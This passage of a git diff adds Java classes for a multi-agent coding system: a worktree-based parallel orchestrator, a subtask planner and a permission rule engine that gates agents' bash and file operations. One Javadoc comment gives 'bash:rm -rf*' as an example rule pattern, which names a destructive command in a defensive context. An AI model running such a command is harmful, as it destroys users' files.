subTasks = new ArrayList<>();
+ long now = System.currentTimeMillis();
+ for (SubTaskPlan plan : subTaskPlans) {
+ subTasks.add(new SubTask(
+ UUID.randomUUID().toString(),
+ groupId,
+ parentSessionId,
+ plan.title(),
+ plan.description(),
+ plan.contextSummary(),
+ now
+ ));
+ }
+ return subTasks;
+ }
+
+ private TaskGroupSnapshot waitForCompletion(String groupId) {
+ while (true) {
+ TaskGroupSnapshot snapshot = taskGroupManager.getSnapshot(groupId);
+ if (snapshot.allFinished()) {
+ return snapshot;
+ }
+ try {
+ Thread.sleep(masterPollIntervalMillis);
+ } catch (InterruptedException exception) {
+ Thread.currentThread().interrupt();
+ throw new AgentTeamExecutionFailedException("master polling interrupted", exception);
+ }
+ }
+ }
+
+ private String renderFinalAnswer(TaskGroup taskGroup, TaskGroupSnapshot snapshot, TaskGroupResult result) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AgentTeam execution finished.\n");
+ builder.append("groupId: ").append(taskGroup.getGroupId()).append('\n');
+ builder.append("status: ").append(snapshot.status()).append('\n');
+ builder.append("success: ").append(snapshot.succeededTasks()).append('\n');
+ builder.append("failed: ").append(snapshot.failedTasks()).append('\n');
+
+ if (!result.successResults().isEmpty()) {
+ builder.append("\nSuccessful subtasks:\n");
+ for (var success : result.successResults()) {
+ builder.append("- ").append(success.title()).append(": ")
+ .append(success.summary()).append('\n');
+ }
+ }
+ if (!result.failures().isEmpty()) {
+ builder.append("\nFailed subtasks:\n");
+ for (var failure : result.failures()) {
+ builder.append("- ").append(failure.title()).append(": ")
+ .append(failure.errorMessage()).append('\n');
+ }
+ }
+ return builder.toString().trim();
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/ParallelCodingException.java b/src/main/java/com/openmanus/agentteam/application/ParallelCodingException.java
new file mode 100644
index 0000000..a02749f
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/ParallelCodingException.java
@@ -0,0 +1,40 @@
+package com.openmanus.agentteam.application;
+
+/**
+ * Thrown by {@link ParallelCodingOrchestrator} when a coding request cannot proceed
+ * in host mode — for example, when the target repository does not support git
+ * worktree operations or the request cannot be safely parallelized.
+ *
+ * Carries a stable {@link #errorCode()} (matching a constant in
+ * {@code ExecutionErrorCodes}) and a user-facing {@link #userMessage()} that
+ * explains what went wrong in plain language.
+ *
+ *
The orchestrator MUST NOT silently fall back to the Docker sandbox for
+ * coding requests — that would route code-generation work into an empty container
+ * with no access to the target repository, causing the agent to loop uselessly.
+ */
+public class ParallelCodingException extends RuntimeException {
+
+ private final String errorCode;
+ private final String userMessage;
+
+ public ParallelCodingException(String errorCode, String userMessage) {
+ super(userMessage);
+ this.errorCode = errorCode;
+ this.userMessage = userMessage;
+ }
+
+ /**
+ * Stable error code suitable for programmatic handling (e.g. HTTP status mapping).
+ */
+ public String errorCode() {
+ return errorCode;
+ }
+
+ /**
+ * Human-readable description intended to be shown to the end user.
+ */
+ public String userMessage() {
+ return userMessage;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/ParallelCodingOrchestrator.java b/src/main/java/com/openmanus/agentteam/application/ParallelCodingOrchestrator.java
new file mode 100644
index 0000000..f7725a5
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/ParallelCodingOrchestrator.java
@@ -0,0 +1,327 @@
+package com.openmanus.agentteam.application;
+
+import com.openmanus.agentteam.domain.model.CodeSubTask;
+import com.openmanus.agentteam.domain.model.CodeTaskGroup;
+import com.openmanus.agentteam.domain.model.GitRepositoryRuntime;
+import com.openmanus.agentteam.domain.model.GitWorktreeInfo;
+import com.openmanus.agentteam.domain.model.ParallelCodingExecutionResult;
+import com.openmanus.agentteam.domain.model.ParallelCodingPlan;
+import com.openmanus.agentteam.domain.model.SubAgentCodingResult;
+import com.openmanus.agentteam.domain.model.SubAgentCodingStatus;
+import com.openmanus.agentteam.domain.model.WorktreeSession;
+import com.openmanus.agentteam.domain.port.GitWorktreeProvisioningPort;
+import com.openmanus.domain.model.ExecutionErrorCodes;
+import com.openmanus.domain.service.AgentExecutionPort;
+import lombok.extern.slf4j.Slf4j;
+
+import java.nio.file.Path;
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.List;
+import java.util.UUID;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+/**
+ * Orchestrates isolated parallel coding subtasks through Git worktrees.
+ */
+@Slf4j
+public class ParallelCodingOrchestrator {
+
+ private final AgentExecutionPort agentExecutionPort;
+ private final ParallelCodingPlanner planner;
+ private final GitWorktreeProvisioningPort gitWorktreeProvisioningPort;
+ private final SubAgentCodingExecutionService subAgentCodingExecutionService;
+ private final IntegrationCoordinator integrationCoordinator;
+ private final int maxSubTasksPerGroup;
+
+ public ParallelCodingOrchestrator(
+ AgentExecutionPort agentExecutionPort,
+ ParallelCodingPlanner planner,
+ GitWorktreeProvisioningPort gitWorktreeProvisioningPort,
+ SubAgentCodingExecutionService subAgentCodingExecutionService,
+ IntegrationCoordinator integrationCoordinator,
+ int maxSubTasksPerGroup
+ ) {
+ this.agentExecutionPort = agentExecutionPort;
+ this.planner = planner;
+ this.gitWorktreeProvisioningPort = gitWorktreeProvisioningPort;
+ this.subAgentCodingExecutionService = subAgentCodingExecutionService;
+ this.integrationCoordinator = integrationCoordinator;
+ this.maxSubTasksPerGroup = maxSubTasksPerGroup;
+ }
+
+ public ParallelCodingExecutionResult execute(String userInput, String conversationId, Path repositoryPath) {
+ GitRepositoryRuntime runtime = gitWorktreeProvisioningPort.inspectRepository(repositoryPath);
+ if (!runtime.supportsWorktreeOperations()) {
+ String reason = runtime.failureReason() == null ? "git worktree mode unavailable" : runtime.failureReason();
+ log.warn("ParallelCodingOrchestrator: worktree unavailable, rejecting request: reason={}", reason);
+ throw new ParallelCodingException(
+ ExecutionErrorCodes.WORKTREE_UNAVAILABLE,
+ buildWorktreeUnavailableMessage(reason, repositoryPath)
+ );
+ }
+
+ ParallelCodingPlan plan = planner.plan(userInput, maxSubTasksPerGroup);
+ log.info(
+ "ParallelCodingOrchestrator plan finished: parallelizable={}, subTaskCount={}, reason={}",
+ plan.parallelizable(),
+ plan.subTasks().size(),
+ plan.reason()
+ );
+ if (!plan.parallelizable()) {
+ log.warn("ParallelCodingOrchestrator: plan not parallelizable, rejecting request: reason={}", plan.reason());
+ throw new ParallelCodingException(
+ ExecutionErrorCodes.PLAN_NOT_PARALLELIZABLE,
+ buildPlanNotParallelizableMessage(plan.reason())
+ );
+ }
+
+ String groupId = "coding-group-" + UUID.randomUUID();
+ CodeTaskGroup taskGroup = new CodeTaskGroup(
+ groupId,
+ conversationId,
+ userInput,
+ plan.subTasks()
+ );
+ log.info(
+ "ParallelCodingOrchestrator created coding task group: groupId={}, conversationId={}, subTaskCount={}",
+ groupId,
+ conversationId,
+ taskGroup.subTasks().size()
+ );
+
+ List results = executeParallel(repositoryPath, taskGroup);
+ try {
+ long failedCount = results.stream().filter(result -> result.status() == SubAgentCodingStatus.FAILED).count();
+ var integrationResult = failedCount == 0 ? integrationCoordinator.integrate(repositoryPath, results) : null;
+ boolean success = failedCount == 0 && integrationResult != null && integrationResult.success();
+ String summary = buildSummary(taskGroup, results, plan.reason(), success, integrationResult);
+ log.info(
+ "ParallelCodingOrchestrator completed: groupId={}, success={}, failedCount={}, branches={}, integrationBranch={}",
+ groupId,
+ success,
+ failedCount,
+ results.stream().map(SubAgentCodingResult::branchName).toList(),
+ integrationResult == null ? null : integrationResult.integrationBranch()
+ );
+ return new ParallelCodingExecutionResult(
+ success,
+ false,
+ summary,
+ null,
+ taskGroup,
+ results,
+ integrationResult
+ );
+ } finally {
+ cleanupWorktrees(repositoryPath, results);
+ }
+ }
+
+ private List executeParallel(Path repositoryPath, CodeTaskGroup taskGroup) {
+ int threadCount = Math.max(1, taskGroup.subTasks().size());
+ ExecutorService executorService = Executors.newFixedThreadPool(threadCount);
+ try {
+ List> futures = new ArrayList<>();
+ for (CodeSubTask subTask : taskGroup.subTasks()) {
+ futures.add(CompletableFuture.supplyAsync(
+ () -> executeSingleSubTask(repositoryPath, taskGroup, subTask),
+ executorService
+ ));
+ }
+ return futures.stream()
+ .map(CompletableFuture::join)
+ .sorted(Comparator.comparing(SubAgentCodingResult::taskId))
+ .toList();
+ } finally {
+ executorService.shutdownNow();
+ }
+ }
+
+ private SubAgentCodingResult executeSingleSubTask(Path repositoryPath, CodeTaskGroup taskGroup, CodeSubTask subTask) {
+ String branchName = buildBranchName(taskGroup.groupId(), subTask);
+ Path worktreePath = repositoryPath.resolve(".agentteam")
+ .resolve("worktrees")
+ .resolve(taskGroup.groupId())
+ .resolve(subTask.taskId());
+ String sessionId = taskGroup.groupId() + "-" + subTask.taskId();
+ log.info(
+ "ParallelCodingOrchestrator provisioning worktree: groupId={}, taskId={}, branch={}, repositoryPath={}, worktreePath={}",
+ taskGroup.groupId(),
+ subTask.taskId(),
+ branchName,
+ repositoryPath,
+ worktreePath
+ );
+ try {
+ GitWorktreeInfo worktreeInfo = gitWorktreeProvisioningPort.createWorktree(
+ repositoryPath,
+ worktreePath,
+ branchName,
+ "HEAD"
+ );
+ log.info(
+ "ParallelCodingOrchestrator worktree ready: groupId={}, taskId={}, branch={}, worktreePath={}, headCommit={}",
+ taskGroup.groupId(),
+ subTask.taskId(),
+ branchName,
+ worktreeInfo.path(),
+ worktreeInfo.headCommit()
+ );
+ WorktreeSession worktreeSession = new WorktreeSession(
+ sessionId,
+ branchName,
+ "HEAD",
+ worktreeInfo.path()
+ );
+ SubAgentCodingResult result = subAgentCodingExecutionService.execute(
+ new SubAgentCodingExecutionRequest(subTask, worktreeSession)
+ );
+ log.info(
+ "ParallelCodingOrchestrator subtask finished: groupId={}, taskId={}, branch={}, status={}, commitSha={}",
+ taskGroup.groupId(),
+ subTask.taskId(),
+ branchName,
+ result.status(),
+ result.commitSha()
+ );
+ return result;
+ } catch (RuntimeException exception) {
+ log.warn(
+ "ParallelCodingOrchestrator subtask failed before completion: groupId={}, taskId={}, branch={}, worktreePath={}, errorType={}, error={}",
+ taskGroup.groupId(),
+ subTask.taskId(),
+ branchName,
+ worktreePath,
+ exception.getClass().getSimpleName(),
+ exception.getMessage()
+ );
+ return new SubAgentCodingResult(
+ subTask.taskId(),
+ SubAgentCodingStatus.FAILED,
+ "Parallel coding subtask failed before completion",
+ List.of(),
+ branchName,
+ null,
+ worktreePath.toAbsolutePath().normalize().toString(),
+ null,
+ subTask.verificationCommands().isEmpty()
+ ? "No verification commands were provided"
+ : "Planned verification commands: " + String.join(" | ", subTask.verificationCommands()),
+ "",
+ exception.getMessage()
+ );
+ }
+ }
+
+ private String buildBranchName(String groupId, CodeSubTask subTask) {
+ String normalizedTaskId = sanitize(subTask.taskId());
+ return "agentteam/" + sanitize(groupId) + "-" + normalizedTaskId;
+ }
+
+ private String sanitize(String value) {
+ String raw = value == null ? "task" : value.trim().toLowerCase();
+ String sanitized = raw.replaceAll("[^a-z0-9._/-]+", "-");
+ return sanitized.replaceAll("-{2,}", "-");
+ }
+
+ private void cleanupWorktrees(Path repositoryPath, List results) {
+ for (SubAgentCodingResult result : results) {
+ if (result.worktreePath() == null || result.worktreePath().isBlank()) {
+ continue;
+ }
+ try {
+ Path worktreePath = Path.of(result.worktreePath());
+ log.info(
+ "ParallelCodingOrchestrator cleaning up worktree: taskId={}, branch={}, path={}",
+ result.taskId(),
+ result.branchName(),
+ worktreePath
+ );
+ gitWorktreeProvisioningPort.removeWorktree(repositoryPath, worktreePath, true);
+ } catch (RuntimeException exception) {
+ log.warn(
+ "ParallelCodingOrchestrator failed to clean up worktree: taskId={}, branch={}, path={}, error={}",
+ result.taskId(),
+ result.branchName(),
+ result.worktreePath(),
+ exception.getMessage()
+ );
+ }
+ }
+ }
+
+ private String buildWorktreeUnavailableMessage(String reason, Path repositoryPath) {
+ String path = repositoryPath.toAbsolutePath().normalize().toString();
+ if (reason.contains("not a git repository") || reason.contains("is not a git")) {
+ return "代码执行无法启动:所选路径 \"" + path + "\" 不是有效的 Git 仓库。请检查路径是否正确。";
+ }
+ if (reason.toLowerCase().contains("git command is not available")
+ || reason.contains("git 命令不可用")) {
+ return "代码执行无法启动:服务器上未安装 Git,无法创建隔离工作区。";
+ }
+ return "代码执行无法启动:Git worktree 操作不可用(原因:" + reason + ")。请检查仓库路径是否正确(路径:" + path + ")。";
+ }
+
+ private String buildPlanNotParallelizableMessage(String planningReason) {
+ if (planningReason != null) {
+ if (planningReason.toLowerCase().contains("fewer than two")
+ || planningReason.contains("子任务少于")) {
+ return "代码执行无法并行化:请求中未检测到多个独立的编码子任务。"
+ + "请使用编号列表(如 1) 或 - 开头)明确列出多个并行子任务。";
+ }
+ if (planningReason.toLowerCase().contains("depend")
+ || planningReason.contains("依赖")) {
+ return "代码执行无法并行化:检测到子任务之间存在依赖关系,无法安全并行执行。"
+ + "请将任务拆分为完全独立的子任务后重试。";
+ }
+ }
+ return "代码执行无法并行化:" + (planningReason == null ? "任务无法安全拆分为独立子任务。" : planningReason)
+ + " 请调整请求格式后重试。";
+ }
+
+ private String buildSummary(
+ CodeTaskGroup taskGroup,
+ List results,
+ String planningReason,
+ boolean success,
+ com.openmanus.agentteam.domain.model.IntegrationResult integrationResult
+ ) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Parallel coding execution finished.\n");
+ builder.append("groupId: ").append(taskGroup.groupId()).append('\n');
+ builder.append("conversationId: ").append(taskGroup.conversationId()).append('\n');
+ builder.append("planningReason: ").append(planningReason).append('\n');
+ builder.append("status: ").append(success ? "SUCCEEDED" : "PARTIAL_FAILED").append('\n');
+ builder.append("success: ").append(results.stream().filter(result -> result.status() == SubAgentCodingStatus.SUCCEEDED).count()).append('\n');
+ builder.append("failed: ").append(results.stream().filter(result -> result.status() == SubAgentCodingStatus.FAILED).count()).append('\n');
+ builder.append("\nSubtasks:\n");
+ for (SubAgentCodingResult result : results) {
+ builder.append("- ").append(result.taskId())
+ .append(" [").append(result.status()).append("]")
+ .append(" branch=").append(result.branchName())
+ .append(" commit=").append(result.commitSha() == null ? "" : result.commitSha())
+ .append(" worktree=").append(result.worktreePath() == null ? "" : result.worktreePath())
+ .append(" files=").append(result.changedFiles())
+ .append('\n');
+ if (result.errorMessage() != null && !result.errorMessage().isBlank()) {
+ builder.append(" error=").append(result.errorMessage()).append('\n');
+ }
+ if (result.testSummary() != null && !result.testSummary().isBlank()) {
+ builder.append(" verification=").append(result.testSummary()).append('\n');
+ }
+ }
+ if (integrationResult != null) {
+ builder.append("\nIntegration:\n");
+ builder.append("branch=").append(integrationResult.integrationBranch()).append('\n');
+ builder.append("merged=").append(integrationResult.mergedBranches()).append('\n');
+ builder.append("verification=").append(integrationResult.testSummary()).append('\n');
+ if (integrationResult.errorMessage() != null && !integrationResult.errorMessage().isBlank()) {
+ builder.append("error=").append(integrationResult.errorMessage()).append('\n');
+ }
+ }
+ return builder.toString().trim();
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/ParallelCodingPlanner.java b/src/main/java/com/openmanus/agentteam/application/ParallelCodingPlanner.java
new file mode 100644
index 0000000..4eb6e3f
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/ParallelCodingPlanner.java
@@ -0,0 +1,165 @@
+package com.openmanus.agentteam.application;
+
+import com.openmanus.agentteam.domain.model.CodeSubTask;
+import com.openmanus.agentteam.domain.model.ParallelCodingPlan;
+
+import java.util.ArrayList;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Minimal planner for deciding whether a user request can be executed as parallel coding subtasks.
+ */
+public class ParallelCodingPlanner {
+
+ private static final Pattern BULLET_PATTERN = Pattern.compile(
+ "^(?:[-*]|\\d+[.)]|[a-zA-Z][.)]|[一二三四五六七八九十]+[、.])\\s*(.+)$"
+ );
+
+ private static final List DEPENDENCY_HINTS = List.of(
+ "然后", "之后", "完成后", "基于前", "依赖", "after", "then", "depends on", "based on"
+ );
+
+ public ParallelCodingPlan plan(String userInput, int maxSubTasks) {
+ if (userInput == null || userInput.isBlank()) {
+ return new ParallelCodingPlan(false, "Task is empty and cannot be planned", List.of());
+ }
+ List subTasks = extractSubTasks(userInput, maxSubTasks);
+ if (subTasks.size() < 2) {
+ return new ParallelCodingPlan(false, "Fewer than two explicit coding subtasks were found", subTasks);
+ }
+ if (containsDependencyHints(subTasks)) {
+ return new ParallelCodingPlan(false, "Detected dependency hints between coding subtasks", subTasks);
+ }
+ return new ParallelCodingPlan(true, "Explicit independent coding subtasks detected", subTasks);
+ }
+
+ /**
+ * Pattern for inline numbered items: "1) ...", "2) ...", "1. ...", "2. ..."
+ * Also matches Chinese numbered items: "一、...", "二、..."
+ */
+ private static final Pattern INLINE_NUMBERED = Pattern.compile(
+ "(?:^|\\s)(\\d+[.)]\\s*|[一二三四五六七八九十]+[、.]\\s*)"
+ );
+
+ private List extractSubTasks(String userInput, int maxSubTasks) {
+ Set normalizedGoals = new LinkedHashSet<>();
+ List subTasks = new ArrayList<>();
+ int limit = Math.max(2, maxSubTasks);
+
+ // Step 1: Try to split by newlines first (existing behavior)
+ String[] lines = userInput.split("\\R");
+ for (String line : lines) {
+ String content = extractBulletContent(line);
+ if (content != null && !content.isBlank()) {
+ addSubTaskIfUnique(content.trim(), normalizedGoals, subTasks);
+ if (subTasks.size() >= limit) {
+ return subTasks;
+ }
+ }
+ }
+
+ // Step 2: If no bullet items found from newlines, try splitting inline numbered items
+ if (subTasks.isEmpty()) {
+ String[] inlineParts = userInput.split(
+ "(?=(?:^|\\s)\\d+[.)]\\s+)|(?=(?:^|\\s)[一二三四五六七八九十]+[、.]\\s+)");
+ if (inlineParts.length >= 2) {
+ for (String part : inlineParts) {
+ String cleaned = part.replaceFirst(
+ "^\\s*\\d+[.)]\\s*|^\\s*[一二三四五六七八九十]+[、.]\\s*", "").trim();
+ if (!cleaned.isBlank() && cleaned.length() > 3) {
+ addSubTaskIfUnique(cleaned, normalizedGoals, subTasks);
+ if (subTasks.size() >= limit) {
+ return subTasks;
+ }
+ }
+ }
+ }
+ }
+
+ return subTasks;
+ }
+
+ private void addSubTaskIfUnique(String goal, Set seen, List subTasks) {
+ if (!seen.add(goal)) {
+ return;
+ }
+ int index = subTasks.size() + 1;
+ subTasks.add(new CodeSubTask(
+ "code-task-" + index,
+ buildTitle(index, goal),
+ goal,
+ inferOwnedPaths(goal),
+ List.of(),
+ inferVerificationCommands(goal),
+ List.of(),
+ inferConflictRisk(goal)
+ ));
+ }
+
+ private String extractBulletContent(String line) {
+ if (line == null) {
+ return null;
+ }
+ Matcher matcher = BULLET_PATTERN.matcher(line.trim());
+ if (!matcher.matches()) {
+ return null;
+ }
+ return matcher.group(1);
+ }
+
+ private boolean containsDependencyHints(List subTasks) {
+ for (CodeSubTask subTask : subTasks) {
+ String lower = subTask.goal().toLowerCase();
+ for (String hint : DEPENDENCY_HINTS) {
+ if (lower.contains(hint.toLowerCase())) {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ private String buildTitle(int index, String goal) {
+ String compact = goal.length() > 30 ? goal.substring(0, 30) : goal;
+ return "CodeSubTask-" + index + ": " + compact;
+ }
+
+ private List inferOwnedPaths(String goal) {
+ String lower = goal.toLowerCase();
+ List ownedPaths = new ArrayList<>();
+ if (lower.contains("frontend") || goal.contains("前端") || lower.contains("ui")) {
+ ownedPaths.add("frontend/");
+ }
+ if (lower.contains("backend") || goal.contains("后端") || lower.contains("api")
+ || lower.contains("service")) {
+ ownedPaths.add("src/main/java/");
+ }
+ if (lower.contains("test") || goal.contains("测试")) {
+ ownedPaths.add("src/test/java/");
+ }
+ return ownedPaths;
+ }
+
+ private List inferVerificationCommands(String goal) {
+ String lower = goal.toLowerCase();
+ if (lower.contains("frontend") || goal.contains("前端") || lower.contains("ui")) {
+ return List.of("npm test -- --runInBand");
+ }
+ if (lower.contains("test") || goal.contains("测试")) {
+ return List.of("./scripts/mvnw-local.sh -q -DskipITs test");
+ }
+ return List.of("./scripts/mvnw-local.sh -q -DskipTests compile");
+ }
+
+ private String inferConflictRisk(String goal) {
+ String lower = goal.toLowerCase();
+ if (lower.contains("same file") || goal.contains("同一文件")) {
+ return "high";
+ }
+ return "low";
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/PermissionBehavior.java b/src/main/java/com/openmanus/agentteam/application/PermissionBehavior.java
new file mode 100644
index 0000000..3dcd532
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/PermissionBehavior.java
@@ -0,0 +1,11 @@
+package com.openmanus.agentteam.application;
+
+/**
+ * Behaviors for permission evaluation.
+ */
+public enum PermissionBehavior {
+ /** Explicitly allow the operation. */
+ ALLOW,
+ /** Explicitly deny the operation — the AI can read the rejection reason and try an alternative. */
+ DENY
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/PermissionCheckResult.java b/src/main/java/com/openmanus/agentteam/application/PermissionCheckResult.java
new file mode 100644
index 0000000..1a20801
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/PermissionCheckResult.java
@@ -0,0 +1,23 @@
+package com.openmanus.agentteam.application;
+
+/**
+ * Result of a permission evaluation.
+ *
+ * @param behavior ALLOW or DENY
+ * @param reason human-readable reason (shown to AI so it can adapt)
+ * @param rule the matched rule description, or "DEFAULT" if no rule matched
+ */
+public record PermissionCheckResult(PermissionBehavior behavior, String reason, String rule) {
+
+ public static PermissionCheckResult allow() {
+ return new PermissionCheckResult(PermissionBehavior.ALLOW, "No matching deny rule — default allow", "DEFAULT");
+ }
+
+ public static PermissionCheckResult deny(String reason, String rule) {
+ return new PermissionCheckResult(PermissionBehavior.DENY, reason, rule);
+ }
+
+ public boolean allowed() {
+ return behavior == PermissionBehavior.ALLOW;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/PermissionEvaluator.java b/src/main/java/com/openmanus/agentteam/application/PermissionEvaluator.java
new file mode 100644
index 0000000..6119a58
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/PermissionEvaluator.java
@@ -0,0 +1,129 @@
+package com.openmanus.agentteam.application;
+
+import com.openmanus.infra.config.AgentTeamProperties;
+import lombok.extern.slf4j.Slf4j;
+
+import java.nio.file.FileSystems;
+import java.nio.file.PathMatcher;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Objects;
+
+/**
+ * Pluggable permission rule engine for agentteam host-mode execution.
+ *
+ * Evaluates operations against a sorted list of {@link PermissionRule} entries.
+ * Rules are loaded from {@link AgentTeamProperties.SecurityConfig#permissionRules} at construction time.
+ *
+ *
Matching algorithm:
+ *
+ * - Load all rules, sorted by priority (ascending).
+ * - For each rule, check if the tool name matches and the content matches the pattern.
+ * - First match wins — return the rule's behavior.
+ * - If no rule matches, return the configured default behavior.
+ *
+ *
+ * Pattern syntax:
+ *
+ * - Trailing {@code *} → prefix match (e.g. "git status*" matches "git status --porcelain")
+ * - Glob patterns with {@code **}} → Java PathMatcher glob (e.g. "src/** /*.java")
+ * - Plain text → exact match
+ *
+ */
+@Slf4j
+public class PermissionEvaluator {
+
+ private final List rules;
+ private final PermissionBehavior defaultBehavior;
+
+ public PermissionEvaluator(List rules, PermissionBehavior defaultBehavior) {
+ this.rules = new ArrayList<>(Objects.requireNonNull(rules, "rules must not be null"));
+ this.rules.sort(Comparator.comparingInt(PermissionRule::priority));
+ this.defaultBehavior = Objects.requireNonNull(defaultBehavior, "defaultBehavior must not be null");
+ }
+
+ /**
+ * Evaluate whether a tool operation is allowed.
+ *
+ * @param toolName the tool name (e.g. "bash", "file_read", "file_write")
+ * @param content the content to check (command string for bash, file path for file operations)
+ * @return evaluation result
+ */
+ public PermissionCheckResult evaluate(String toolName, String content) {
+ if (toolName == null || toolName.isBlank()) {
+ return PermissionCheckResult.deny("toolName is blank", "VALIDATION:blank-tool");
+ }
+ if (content == null || content.isBlank()) {
+ return defaultResult("content is blank — default", "VALIDATION:blank-content");
+ }
+
+ for (PermissionRule rule : rules) {
+ if (!rule.toolName().equals(toolName)) {
+ continue;
+ }
+ if (matches(content, rule.pattern())) {
+ String reason = rule.behavior() == PermissionBehavior.ALLOW
+ ? "允许 (" + rule.description() + ")"
+ : "拒绝 (" + rule.description() + ")";
+ log.debug("PermissionEvaluator matched: tool={} content={} rule={} behavior={}",
+ toolName, content, rule.pattern(), rule.behavior());
+ return new PermissionCheckResult(rule.behavior(), reason, rule.pattern());
+ }
+ }
+
+ return defaultResult("无匹配规则 — 默认" + defaultBehavior, "DEFAULT");
+ }
+
+ /**
+ * Evaluate a file operation with path context.
+ */
+ public PermissionCheckResult evaluate(String toolName, String content, String worktreeRoot) {
+ // For file operations, append worktree context info if provided
+ PermissionCheckResult result = evaluate(toolName, content);
+ if (!result.allowed() && worktreeRoot != null) {
+ log.warn("PermissionEvaluator BLOCKED file operation: tool={} path={} worktreeRoot={} reason={}",
+ toolName, content, worktreeRoot, result.reason());
+ }
+ return result;
+ }
+
+ private boolean matches(String content, String pattern) {
+ if (pattern.endsWith("*") && !pattern.contains("**") && !pattern.contains("?")) {
+ // Prefix match
+ String prefix = pattern.substring(0, pattern.length() - 1);
+ return content.startsWith(prefix);
+ }
+ if (pattern.contains("*") || pattern.contains("?")) {
+ // Glob match using PathMatcher
+ try {
+ PathMatcher matcher = FileSystems.getDefault().getPathMatcher("glob:" + pattern);
+ return matcher.matches(Paths.get(content));
+ } catch (Exception e) {
+ // Fallback: treat as prefix match
+ log.debug("PermissionEvaluator glob parse failed, falling back to prefix: pattern={} error={}",
+ pattern, e.getMessage());
+ String effectivePrefix = pattern.replace("*", "");
+ return content.startsWith(effectivePrefix);
+ }
+ }
+ // Exact match
+ return content.equals(pattern);
+ }
+
+ private PermissionCheckResult defaultResult(String reason, String rule) {
+ if (defaultBehavior == PermissionBehavior.ALLOW) {
+ return PermissionCheckResult.allow();
+ }
+ return PermissionCheckResult.deny(reason, rule);
+ }
+
+ public List rules() {
+ return List.copyOf(rules);
+ }
+
+ public PermissionBehavior defaultBehavior() {
+ return defaultBehavior;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/PermissionLevel.java b/src/main/java/com/openmanus/agentteam/application/PermissionLevel.java
new file mode 100644
index 0000000..de2ea0b
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/PermissionLevel.java
@@ -0,0 +1,23 @@
+package com.openmanus.agentteam.application;
+
+/**
+ * Permission level controlling what an agent instance is allowed to do.
+ *
+ * Modeled after Claude Code's Agent Permission Mode:
+ *
+ * - {@link #FULL} — no security checks; already inside a Docker sandbox.
+ * - {@link #SANDBOXED} — Docker sandbox provides physical isolation; no extra rules needed.
+ * - {@link #RESTRICTED} — executes on Host OS; must pass BashSecurityChecker + PermissionEvaluator.
+ * - {@link #READ_ONLY} — future use for Plan/Review agents; read-only filesystem access, no shell exec.
+ *
+ */
+public enum PermissionLevel {
+ /** Fully trusted — no checks needed (TEAM_MASTER in Docker sandbox). */
+ FULL,
+ /** Sandboxed — Docker provides physical isolation (SUB_AGENT in Docker sandbox). */
+ SANDBOXED,
+ /** Restricted — Host OS execution with full security checks (CODING_SUB_AGENT). */
+ RESTRICTED,
+ /** Read-only — future Plan agent; file reads and search only, no writes, no shell exec. */
+ READ_ONLY
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/PermissionRule.java b/src/main/java/com/openmanus/agentteam/application/PermissionRule.java
new file mode 100644
index 0000000..5561a7f
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/PermissionRule.java
@@ -0,0 +1,37 @@
+package com.openmanus.agentteam.application;
+
+/**
+ * A single permission rule matching a tool + operation pattern.
+ *
+ * Pattern format: {@code toolName:contentPattern}
+ *
+ * - {@code bash:git status*} — prefix match (matches any command starting with "git status")
+ * - {@code bash:rm -rf*} — prefix match
+ * - {@code file:src/**}} — glob match on file path
+ *
+ *
+ * @param toolName the tool this rule applies to ("bash", "file_read", "file_write")
+ * @param pattern the content pattern to match against
+ * @param behavior ALLOW or DENY
+ * @param priority lower number = higher priority
+ * @param description human-readable explanation of the rule
+ */
+public record PermissionRule(
+ String toolName,
+ String pattern,
+ PermissionBehavior behavior,
+ int priority,
+ String description
+) {
+ public PermissionRule {
+ if (toolName == null || toolName.isBlank()) {
+ throw new IllegalArgumentException("toolName must not be blank");
+ }
+ if (pattern == null || pattern.isBlank()) {
+ throw new IllegalArgumentException("pattern must not be blank");
+ }
+ if (behavior == null) {
+ throw new IllegalArgumentException("behavior must not be null");
+ }
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/PromptTemplateRenderer.java b/src/main/java/com/openmanus/agentteam/application/PromptTemplateRenderer.java
new file mode 100644
index 0000000..23e75e5
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/PromptTemplateRenderer.java
@@ -0,0 +1,25 @@
+package com.openmanus.agentteam.application;
+
+import java.util.Map;
+
+final class PromptTemplateRenderer {
+
+ private PromptTemplateRenderer() {
+ }
+
+ static String render(String template, Map variables) {
+ String rendered = template == null ? "" : template;
+ if (variables == null || variables.isEmpty()) {
+ return rendered;
+ }
+ for (Map.Entry entry : variables.entrySet()) {
+ String key = entry.getKey();
+ if (key == null || key.isBlank()) {
+ continue;
+ }
+ String value = entry.getValue() == null ? "" : entry.getValue();
+ rendered = rendered.replace("{{" + key + "}}", value);
+ }
+ return rendered;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/SubAgentCodingExecutionRequest.java b/src/main/java/com/openmanus/agentteam/application/SubAgentCodingExecutionRequest.java
new file mode 100644
index 0000000..c5872a3
--- /dev/null
